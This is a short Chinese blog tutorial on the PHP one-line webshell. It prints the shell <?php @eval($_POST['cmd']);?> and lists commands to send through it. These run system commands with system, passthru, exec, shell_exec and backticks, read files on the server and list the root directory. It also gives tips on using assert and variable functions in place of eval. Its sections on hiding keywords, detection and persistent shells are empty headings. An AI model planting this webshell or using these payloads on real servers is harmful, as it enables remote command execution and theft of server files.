筱团Blog筱团のBlog

一句话木马

筱团·2021-09-18 18:16·125 次阅读

一句话木马

原理#

代码 <?php @eval($_POST['cmd']);?>

解析#

Copy
# @ 代表了即使报错了,也不显示 # eval()函数把字符串按照 PHP 代码来计算 $string = "beautiful"; $time = "winter"; $str = 'This is a $string $time morning!'; echo $str. "<br />"; eval("\$str = \"$str\";"); echo $str; // 输出 This is a $string $time morning! This is a beautiful winter morning! # $_POST 一般用于收集提交表单,此处用于传递变量 # 'cmd' 是我们传递的信息

思路一:隐藏关键字#


思路二:使用回调函数#

使用木马#

Copy
# 具体函数使用方法和结果 // 记住 cmd="命令" 的等号中间不能有空格 // 执行系统命令(针对 Linux) cmd=system("ls /"); # 输出服务器下的根目录 cmd=passthru("ls /"); # 输出服务器下的根目录 cmd=echo exec("ls /"); # 输出服务器下的根目录(返回执行结果的最后一行) cmd=echo shell_exec("ls /"); # 输出服务器下的根目录 cmd=echo `ls/`; # 输出服务器下的根目录 // 读文件 cmd=echo file_get_contents("./a.txt"); # 读取根目录下的 a.txt 文件 cmd=var_dump(file("./a.txt")); # 读取根目录下的 a.txt 文件 cmd=readfile("./a.txt"); # 读取根目录下的 a.txt 文件 // 遍历目录 cmd=var_dump(scandir("/")); # 读取整个根目录

查杀木马#


不死马#


PHP 相关知识点补充#

Copy
# 可变函数 $a = "phpinfo"; $a(); // 相当于执行了 phpinfo(); # 可变变量 $a='assert'; $b='a'; echo $$b; // 相当于执行了 $a; # assert 函数 // assert 和 eval 函数作用类似 // 但 assert 函数能被可变函数调用,而 eval 函数不可以被可变函数调用 // PHP7.1 以上已经废弃 assert 函数

推荐文章#

  1. php中REQUEST_POST、$_GET的区别
  2. Windows 赋予文件的所有权限
posted @   筱团  阅读(125)  评论(0编辑  收藏  举报
编辑推荐:
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
阅读排行:
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
点击右上角即可分享
微信分享提示
目录